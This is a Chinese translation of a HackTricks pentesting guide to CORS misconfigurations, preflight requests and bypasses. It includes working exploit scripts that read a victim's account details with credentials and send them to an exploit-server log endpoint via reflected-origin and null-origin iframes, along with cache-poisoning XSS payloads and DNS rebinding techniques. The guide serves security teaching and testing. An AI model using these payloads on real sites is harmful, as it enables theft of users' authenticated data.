hacktricks/pentesting-web/cors-bypass.md

24 KiB
Raw Blame History

CORS - 配置错误与绕过

从零开始学习AWS黑客技术成为 htARTE (HackTricks AWS红队专家)

支持HackTricks的其他方式

什么是CORS

CORS跨源资源共享标准之所以需要是因为它允许服务器指定谁可以访问其资源以及允许来自外部资源的哪些HTTP请求方法

同源策略要求请求资源的服务器和存放资源的服务器使用相同的协议(http://),域名 (internal-web.com) 和相同的端口 (80)。因此,如果服务器强制执行同源策略,那么只有来自相同域名和端口的网页才能访问资源。

下表显示了在http://normal-website.com/example/example.html中如何应用同源策略:

访问的URL 是否允许访问?
http://normal-website.com/example/ 是:相同的方案、域名和端口
http://normal-website.com/example2/ 是:相同的方案、域名和端口
https://normal-website.com/example/ 否:不同的方案和端口
http://en.normal-website.com/example/ 否:不同的域名
http://www.normal-website.com/example/ 否:不同的域名
http://normal-website.com:8080/example/ 否:不同的端口*

*Internet Explorer会允许此访问因为IE在应用同源策略时不考虑端口号。

Access-Control-Allow-Origin

Access-Control-Allow-Origin 的规范允许多个源,或值**null,或通配符*。然而,没有浏览器支持多个源,并且对使用通配符*限制**。(通配符只能单独使用,这将失败 Access-Control-Allow-Origin: https://*.normal-website.com 并且它不能与 Access-Control-Allow-Credentials: true 一起使用)

当网站请求跨域资源时,带有浏览器添加的Origin头的这个头是由服务器返回的。

Access-Control-Allow-Credentials

跨源资源请求的默认行为是请求传递而不带凭证如cookies和Authorization头。然而跨域服务器可以通过设置CORS Access-Control-Allow-Credentials 头为 true允许读取凭证传递给它时的响应

如果值设置为true那么浏览器将发送凭证cookies, authorization头或TLS客户端证书

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

预检请求

在某些情况下,当一个跨域请求:

  • 包含非标准HTTP方法HEAD, GET, POST
  • 包含新的头部
  • 包含特殊的Content-Type头部值

{% hint style="info" %} 检查此链接中的请求条件,以避免发送预检请求 {% endhint %}

跨域请求之前会有一个使用**OPTIONS** 方法请求CORS协议需要先检查在允许跨域请求之前哪些方法和头部是被允许的。这称为预检查。服务器返回允许的方法列表,以及可信来源,然后浏览器检查请求网站的方法是否被允许。

{% hint style="danger" %} 注意,即使因为"常规请求"条件得到尊重而没有发送预检请求响应也需要有授权头部,否则浏览器无法读取请求的响应。 {% endhint %}

例如,这是一个预检请求,它试图使用PUT方法,并且带有一个名为Special-Request-Header自定义请求头部

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

服务器可能会返回如下响应:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers 允许的头部
  • Access-Control-Expose-Headers
  • Access-Control-Max-Age 定义缓存预检响应以供重用的最大时间框架
  • Access-Control-Request-Headers 跨域请求希望发送的头部
  • Access-Control-Request-Method 跨域请求希望使用的方法
  • Origin 跨域请求的来源(由浏览器自动设置)

请注意,通常(取决于设置的内容类型和头部),在 GET/POST 请求中不会发送预检请求(请求会直接发送),但如果您想要访问响应的头部/正文,它必须包含一个允许的 Access-Control-Allow-Origin 头部。
因此CORS 并不防护 CSRF但它可能有帮助

本地网络请求 预检请求

当请求发送到本地网络 IP 地址时,会发送 2 个额外的 CORS 头部:

  • Access-Control-Request-Local-Network 客户端请求头部表明该请求是一个本地网络请求
  • Access-Control-Allow-Local-Network 服务器响应头部表明资源可以安全地与外部网络共享

有效响应允许本地网络请求 需要在响应中也包含头部 Access-Controls-Allow-Local_network: true

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 请注意linux的 0.0.0.0 IP地址可以用来绕过这些要求以访问localhost因为该IP地址不被视为“本地”。

如果您使用本地端点的公共IP地址如路由器的公共IP也可以绕过本地网络要求。因为在多种情况下,即使是在访问公共IP,如果是来自本地网络,也会被授予访问权限。

{% endhint %}

可利用的错误配置

请注意,大多数真实攻击需要设置Access-Control-Allow-Credentialstrue因为这将允许浏览器发送凭据并读取响应。没有凭据许多攻击变得无关紧要这意味着你不能利用用户的cookies所以通常没有什么好处让他们的浏览器发起请求而不是你自己发起。

一个值得注意的例外是,当受害者的网络位置充当一种认证方式时。你可以使用受害者的浏览器作为代理绕过基于IP的认证访问内网应用程序。在影响方面这与DNS重绑定类似但要利用起来容易得多。

反射的OriginAccess-Control-Allow-Origin

在现实世界中,这是不可能发生的,因为这两个头部的值是不允许同时使用的
同样许多开发者希望在CORS中允许多个URL但是不允许使用子域通配符或URL列表。然后一些开发者会动态生成**Access-Control-Allow-Origin**头部,在不止一个场合中,他们只是复制Origin头部的值

在这种情况下,相同的漏洞可能会被利用。

在其他情况下,开发者可能会检查域名victimdomain.com)是否出现Origin头部中,那么,攻击者可以使用一个名为**attackervictimdomain.com**的域名来窃取机密信息。

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null

nullOrigin 头的一个特殊值。规范提到它会在重定向和本地 HTML 文件中被触发。一些应用程序可能会将 null 源列入白名单,以支持应用程序的本地开发。
这很好,因为许多应用程序会允许这个值在 CORS 中,并且任何网站都可以通过使用沙盒化的 iframe 轻松获得 null 源

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regexp 绕过

如果你发现域名 victim.com列入白名单,你应该检查 victim.com.attacker.com 是否也被列入白名单,或者,如果你能接管某个子域名,检查 somesubdomain.victim.com 是否被列入白名单。

高级 Regexp 绕过

大多数用于在字符串中识别域名的正则表达式会关注字母数字 ASCII 字符和 .-。然后,像 Origin 头中的 victimdomain.com{.attacker.com 会被正则表达式解释为域名是 victimdomain.com,但浏览器(在这种情况下 Safari 支持域名中的这个字符)会访问域名 attacker.com

_ 字符(在子域名中)不仅在 Safari 中支持,而且在 Chrome 和 Firefox 中也支持!

因此,使用这些子域名之一,你可以绕过一些“常见”的正则表达式来找到 URL 的主域名。

有关此绕过的更多信息和设置,请查看: https://www.corben.io/advanced-cors-techniques/ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

来自子域名内的 XSS

开发者使用的一种防御机制是将经常请求访问信息的域名列入白名单,以防止 CORS 漏洞的利用。然而,这并不完全安全,因为如果白名单中的任何一个子域名对其他漏洞如 XSS易受攻击的,它可以使 CORS 漏洞利用成为可能。

让我们考虑一个例子,以下代码显示了允许 requester.com 的子域名访问 provider.com 资源的配置。

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

服务器端缓存投毒

如果条件允许我们可能会通过HTTP头注入利用服务器端缓存投毒来创建一个存储型XSS漏洞。

如果一个应用程序反射Origin头,甚至没有检查它是否包含非法字符,比如,我们实际上就有了一个针对IE/Edge用户的HTTP头注入漏洞因为Internet Explorer和Edge将\r (0x0d)视为有效的HTTP头终止符GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer将响应视为

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

这不是直接可利用的,因为没有办法让攻击者使某人的浏览器发送这样格式错误的头,但我可以在Burp Suite中手动构造这个请求服务器端缓存可能会保存这个响应并将其提供给其他人。我使用的有效载荷将页面的字符集更改为UTF-7这对于创建XSS漏洞非常有用。

客户端缓存投毒

你可能偶尔遇到过一个页面它在自定义HTTP头中反射了反射型XSS。假设一个网页反射了一个自定义头的内容,而没有编码:

GET / HTTP/1.1
Host: example.com
X-User-id: &lt;svg/onload=alert\(1\)&gt;

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: &lt;svg/onload=alert\(1\)&gt;\

在CORS中我们可以在Header中发送任何值。本身这是无用的,因为包含我们注入的JavaScript的响应不会被渲染。然而,如果没有指定Vary: Origin,响应可能会被存储在浏览器缓存中并在浏览器导航到关联URL时直接显示。我制作了一个fiddle来尝试对您选择的URL发起这种攻击。由于这种攻击使用了客户端缓存,它实际上相当可靠。

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

绕过

XSSI (跨站脚本包含) / JSONP

XSSI 指的是一种漏洞,它利用了这样一个事实:当使用 script 标签包含资源时同源策略SOP不适用因为脚本必须能够跨域包含。因此攻击者可以读取使用 script 标签包含的所有内容。

当涉及到动态 JavaScript 或 JSONP 时,这一点尤其有趣,尤其是当所谓的环境权限信息(如 cookies用于认证时。请求来自不同主机的资源时cookies 会被包含进来。BurpSuite 插件:https://github.com/kapytein/jsonp

阅读更多关于不同类型的 XSSI 以及如何利用它们的信息。

尝试在请求中添加一个 callback 参数。也许页面已经准备好将数据作为 JSONP 发送。在这种情况下,页面将返回数据,并使用 Content-Type: application/javascript,这将绕过 CORS 策略。

简单(无用?)绕过

你可以请求一个 web 应用代表你发起一个请求,并将响应发送回来。这将绕过 Access-Control-Allow-Origin,但请注意,最终受害者的 凭据不会被发送,因为你将会 联系一个不同的域(将为你发起请求的那个)。

CORS-escape

CORS-escape 提供了一个 代理,它会 传递 我们的 请求 及其 头部,同时还会 伪造 Origin 头部Origin = 请求的域)。因此,CORS 策略被绕过
源代码在 Github 上,所以你可以 自己托管

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)

代理有点像“传递”你的请求,完全按照你发送的方式。我们可以用另一种方式解决这个问题,这种方式仍然涉及到别人代你发出请求,但这次,**服务器会发出自己的请求,但使用你指定的任何参数。**

### Iframe + 弹出窗口绕过

你可以通过**创建一个iframe**和**从中打开一个新窗口**来**绕过CORS检查**。更多信息请参见以下页面:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}

### 通过TTL的DNS重绑定

![](<../.gitbook/assets/image (108).png>)

基本上你让**受害者访问你的页面**,然后你更改你的**域名的DNSIP**,使其**指向**你的**受害者的网页**。你让你的**受害者在TTL结束时执行****JS**某些操作这样就会发出新的DNS请求然后你就能够收集信息因为你将**用户保持在你的域中**,他不会向受害者服务器发送**任何cookie**,所以这个选项**滥用了受害者IP的特殊权限**)。

即使你将**TTL设置得非常低**0或1**浏览器有缓存**会**阻止**你在几秒钟/分钟内**滥用**这一点。

因此,这种技术有助于**绕过明确的检查**(受害者**明确执行DNS请求**以检查域的IP当机器人被调用时他将进行自己的请求。

或者当你可以让一个**用户/机器人在同一个页面上停留很长时间**(这样你就可以**等待**直到**缓存过期**)。

如果你需要快速利用这个漏洞,你可以使用像[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)这样的服务。

如果你想运行你自己的DNS重绑定服务器你可以使用像[**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)****然后**暴露**你的**本地端口53/udp**,创建一个**指向它的A记录**ns.example.com并创建一个**指向之前创建的A子域的NS记录**ns.example.com。\
然后该子域的任何子域ns.example.com都将由你的主机解析。

也可以查看在[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)运行的**公共服务器**。

### 通过**DNS缓存泛滥**的DNS重绑定

如前一节所述,**浏览器**会将域的IP**缓存更长时间**超过TTL中指定的时间。然而有一种方法可以绕过这种防御。

你可以有一个服务工作器,它将**泛滥DNS缓存以强制进行第二次DNS请求**。所以流程将会是这样的:

1. DNS请求响应攻击者地址
2. 服务工作器泛滥DNS缓存缓存的攻击者服务器名称被删除
3. 第二次DNS请求这次响应为127.0.0.1

![](<../.gitbook/assets/image (375) (1).png>)

_蓝色是第一次DNS请求橙色是泛滥。_

### 通过**缓存**的DNS重绑定

如前一节所述,**浏览器**会将域的IP**缓存更长时间**超过TTL中指定的时间。然而还有另一种方法可以绕过这种防御。

你可以在**DNS提供商**中为**同一个子域**创建**2个A记录**(或**1个带有2个IP**,取决于提供商),当浏览器检查它们时,他将获得两者。

现在,如果**浏览器**决定**首先使用攻击者IP地址****攻击者**将能够**提供**将**执行HTTP请求**到同一个**域**的**有效载荷**。然而现在攻击者知道了受害者的IP**他将停止回答受害者浏览器**。

当浏览器发现**域没有响应**时,它将**使用第二个给定的IP**,所以他将**访问一个不同的地方绕过SOP**。攻击者可以利用这一点来**获取信息并泄露它**。

{% hint style="warning" %}
请注意为了访问localhost你应该尝试在Windows中重新绑定**127.0.0.1**在linux中重新绑定**0.0.0.0**。\
像godaddy或cloudflare这样的提供商不允许我使用ip 0.0.0.0但AWS route53允许我创建一个带有2个IP的A记录其中一个是"0.0.0.0"

<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %}

![](<../.gitbook/assets/image (620) (4).png>)

更多信息可以查看[https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)

### 其他常见绕过方法

* 如果**不允许内部IP**,他们可能**忘记禁止0.0.0.0**在Linux和Mac上有效
* 如果**不允许内部IP**,用**CNAME**响应指向**localhost**在Linux和Mac上有效
* 如果**不允许内部IP**作为DNS响应你可以响应指向内部服务的**CNAME**例如www.corporate.internal。

### 武器化的DNS重绑定

你可以在[Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)的演讲中找到更多关于前面绕过技术的信息以及如何使用以下工具。

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)是一个执行[DNS重绑定](https://en.wikipedia.org/wiki/DNS\_rebinding)攻击的工具。它包括将攻击服务器DNS名称的IP地址重新绑定到目标机器的IP地址所需的组件并提供攻击有效载荷以利用目标机器上的易受攻击软件。

### 针对DNS重绑定的真正保护

* 在内部服务中使用TLS
* 请求认证以访问数据
* 验证Host头
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/):提案,当公共服务器想要访问内部服务器时,总是发送一个预检请求

## **工具**

**模糊可能的CORS策略配置错误**

* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)

## 参考资料

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}

{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}

{% embed url="https://www.codecademy.com/articles/what-is-cors" %}

{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}

{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}

<details>

<summary><strong>从零开始学习AWS黑客攻击到高手通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式

* 如果你想在**HackTricks中看到你的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。

</details>